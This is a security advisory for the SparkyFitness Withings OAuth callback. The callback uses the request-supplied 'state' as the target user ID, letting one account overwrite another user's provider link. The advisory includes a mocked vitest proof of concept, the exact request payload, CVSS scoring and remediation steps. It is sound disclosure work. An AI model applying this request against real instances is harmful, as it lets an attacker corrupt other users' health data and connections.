Skip to content

Authenticated user can overwrite another user's Withings connection through unvalidated OAuth state

Moderate
CodeWithCJ published GHSA-p8cf-g8rv-gvrq Sep 21, 2026

Package

SparkyFitness (Self-hosted JavaScript/TypeScript application)

Affected versions

>= 0.15.8.1, <= 1.6.5

Patched versions

None

Description

Summary

The authenticated Withings callback treats request-body state as the target SparkyFitness user ID. It does not bind state to the authenticated actor or a stored one-time authorization flow. The request-selected ID is then used through a system database client for both the victim credential lookup and final provider-row update.

If the prerequisites below are satisfied, an attacker can have SparkyFitness persist tokens and the external user ID for the attacker's Withings account into the victim's configured provider row. Subsequent sync can import attacker-controlled measurements into the victim's record and disrupt the legitimate connection until the victim reauthorizes.

Affected version

  • Confirmed: v1.6.5, commit 7a37a868228ceb08ed1fc09f782def23bce0b247.
  • Earliest affected tag found: v0.15.8.1; older affected paths are JavaScript, with later TypeScript migration preserving the behavior.
  • routes/withingsRoutes.ts and integrations/withings/withingsService.ts are byte-identical on observed main commit 15b5e32d688c6ad3001921faf86286c98670a153.

This is a source finding for self-hosted instances running the affected code. No hosted deployment was tested or is claimed to be affected.

Required attack preconditions

All of these conditions are required:

  1. The attacker has a valid SparkyFitness account on the same instance.
  2. The attacker knows the victim's SparkyFitness UUID. No discovery primitive was demonstrated.
  3. The victim already has a configured provider_type='withings' row; otherwise the credential lookup fails.
  4. The attacker knows the victim's Withings OAuth client ID. It is an OAuth identifier visible in authorization URLs rather than a client secret, but no global enumeration primitive was demonstrated.
  5. Withings issues an authorization code for that victim client ID and the instance's registered redirect URI. An arbitrary code will fail. No live Withings exchange was performed during testing.
  6. The diary-delegate route that may expose an owner's authorization URL is scope-ambiguous because repository history intentionally grants delegates some integration-management rights. It is not relied on as the sole or primary attack path.

Technical details

  • Global application middleware authenticates /api/withings, so the demonstrated minimum privilege is a normal SparkyFitness account.
  • SparkyFitnessServer/routes/withingsRoutes.ts:67-93 reads { code, state }, contains comments that state should be validated, assigns const userId = state, and calls exchangeCodeForTokens(userId, ...).
  • SparkyFitnessServer/integrations/withings/withingsService.ts:101-123 constructs authorization URLs with state=userId instead of a random one-time nonce.
  • integrations/withings/withingsService.ts:130-176 uses the request-selected ID to load the corresponding Withings client ID and secret through getSystemClient().
  • integrations/withings/withingsService.ts:190-229 uses the same ID in UPDATE external_data_providers ... WHERE user_id = $10.

This is not framed as an RLS implementation bypass. The service client is intentionally privileged; the defect is that the application discards the authenticated actor and fails to validate/bind state before making that privileged call.

Deterministic reproduction

The following router poc.test.ts imports the real v1.6.5 router and uses deterministic mocks for external boundaries:

poc.test.ts
import { beforeEach, describe, expect, it, vi } from 'vitest';
// @ts-expect-error supertest has no bundled types in this project
import request from 'supertest';
import express from 'express';

const attackerId = 'aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa';
const victimId = 'bbbbbbbb-bbbb-4bbb-8bbb-bbbbbbbbbbbb';

const { exchangeCodeForTokens } = vi.hoisted(() => ({
  exchangeCodeForTokens: vi.fn(
    async (_userId: string, _code: string, _redirectUri: string) => ({
      success: true,
    })
  ),
}));

vi.mock('../integrations/withings/withingsService.js', () => ({
  default: {
    exchangeCodeForTokens,
  },
}));

vi.mock('../services/withingsService.js', () => ({ default: {} }));
vi.mock('../config/logging.js', () => ({ log: vi.fn() }));
vi.mock('../middleware/authMiddleware.js', () => ({
  default: {
    authenticate: (_req: unknown, _res: unknown, next: () => void) => next(),
  },
}));
vi.mock('../middleware/checkPermissionMiddleware.js', () => ({
  default: () => (_req: unknown, _res: unknown, next: () => void) => next(),
}));

import withingsRoutes from '../routes/withingsRoutes.js';

function v165App() {
  const app = express();
  app.use(express.json());
  // Models the global authentication middleware that runs before the router.
  app.use((req, _res, next) => {
    req.userId = attackerId;
    req.authenticatedUserId = attackerId;
    next();
  });
  app.use('/api/withings', withingsRoutes);
  return app;
}

function patchedActorBoundApp() {
  const app = express();
  app.use(express.json());
  app.use((req, _res, next) => {
    req.userId = attackerId;
    req.authenticatedUserId = attackerId;
    next();
  });
  app.post('/api/withings/callback', async (req, res) => {
    if (req.body.state !== req.authenticatedUserId) {
      res.status(403).json({ error: 'OAuth state is not bound to this user.' });
      return;
    }
    const result = await exchangeCodeForTokens(
      req.authenticatedUserId,
      req.body.code,
      'https://frontend.example/withings/callback'
    );
    res.status(result.success ? 200 : 500).end();
  });
  return app;
}

beforeEach(() => {
  exchangeCodeForTokens.mockClear();
});

describe('v1.6.5 Withings callback state binding', () => {
  it('uses attacker-controlled state as the database target user', async () => {
    const response = await request(v165App())
      .post('/api/withings/callback')
      .send({ code: 'synthetic-authorization-code', state: victimId });

    expect(response.status).toBe(200);
    expect(exchangeCodeForTokens).toHaveBeenCalledWith(
      victimId,
      'synthetic-authorization-code',
      expect.stringContaining('/withings/callback')
    );
    expect(exchangeCodeForTokens).not.toHaveBeenCalledWith(
      attackerId,
      expect.anything(),
      expect.anything()
    );
  });

  it('does not reach token exchange when the authorization code is absent', async () => {
    const response = await request(v165App())
      .post('/api/withings/callback')
      .send({ state: victimId });

    expect(response.status).toBe(400);
    expect(exchangeCodeForTokens).not.toHaveBeenCalled();
  });

  it('patched actor-bound control rejects a victim state', async () => {
    const response = await request(patchedActorBoundApp())
      .post('/api/withings/callback')
      .send({ code: 'synthetic-authorization-code', state: victimId });

    expect(response.status).toBe(403);
    expect(exchangeCodeForTokens).not.toHaveBeenCalled();
  });
});
cp poc.test.ts SparkyFitnessServer/tests/securityReviewWithingsStateBinding.test.ts
npx --yes pnpm@10.33.4 --dir SparkyFitnessServer exec vitest run tests/securityReviewWithingsStateBinding.test.ts --reporter=verbose

It demonstrates that an attacker-authenticated request containing state=victimId returns 200 and invokes the exchange boundary with the victim ID rather than the authenticated attacker. Missing code fails 400, and an actor-bound control fails 403 before exchange.

A second independent local test imports the real exchange service and mocks only the database, encryption, logger, and HTTP boundaries. It proves that:

  • The victim ID selects the provider credential query.
  • The real service constructs the token request with the victim client ID/secret, synthetic compatible code, and redirect URI.
  • A successful synthetic response containing attacker-withings-user places that value at SQL parameter $9.
  • The victim ID is placed at $10, selecting the victim row for the real update query.
  • The client is released and the service returns success.

The primary suite passed three assertions. The independent exact-tag bundle passed three files and nine assertions, including this added real-service chain.

Impact

If every precondition holds, the attacker can replace the victim's Withings provider linkage with the attacker's tokens and external user ID. Subsequent inbound synchronization can insert attacker-controlled Withings measurement types into the victim's health record, and the prior legitimate connection is disrupted until reauthorization.

No victim token readback, confidentiality loss, SparkyFitness or Withings account takeover, outbound push of victim data, unauthenticated exploitation, or mass exploitation was demonstrated or claimed.

Severity

  • CWE-639: Authorization Bypass Through User-Controlled Key.
  • Secondary: CWE-862, Missing Authorization.
  • CVSS 3.1: AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L = 5.9 Medium.

AC:H represents the UUID, configured-row, client-ID, and compatible-code prerequisites. I:H reflects replacement of the authoritative provider linkage and downstream poisoning of health measurements for one victim. A maintainer could reasonably choose I:L, yielding 4.2, if integrity is scoped to the provider row and Withings-sourced measurement types.

Recommended remediation

  1. Generate at least 256 bits of cryptographically random state for every authorization attempt.
  2. Store a safe representation in external_data_providers.oauth_state, bound to the authenticated owner, provider, session/flow, redirect URI, and creation time.
  3. At callback, atomically validate and consume the exact unexpired state before token exchange; reject missing, mismatched, expired, replayed, wrong-provider, and wrong-redirect values.
  4. Recover the owner ID from validated server-side flow state and use only that ID as the credential and update target. Never use a request-supplied user ID for those operations.
  5. Clear state on success and terminal failure and remove sensitive code/state/token/ciphertext values from logs.
  6. Add cross-user substitution, replay, expiry, wrong-provider/redirect, and concurrent-consumption regression tests.

The inline actor-bound control demonstrates the missing authorization check but is not a complete OAuth fix; the production solution requires a random one-time nonce.

Duplicate and testing statement

Fresh post-review searches of public issues, pull requests, and all four repository advisories found functional Withings connection/sync reports and token-encoding work but no cross-user state/target report. Private maintainer reports are not visible to this check.

All validation was local and synthetic. No real credentials, tokens, user data, deployed instance, or Withings request was used. Third-party issuance/acceptance of a compatible code remains an explicit unexecuted prerequisite.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L

CVE ID

No known CVE

Weaknesses

Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. Learn more on MITRE.

Credits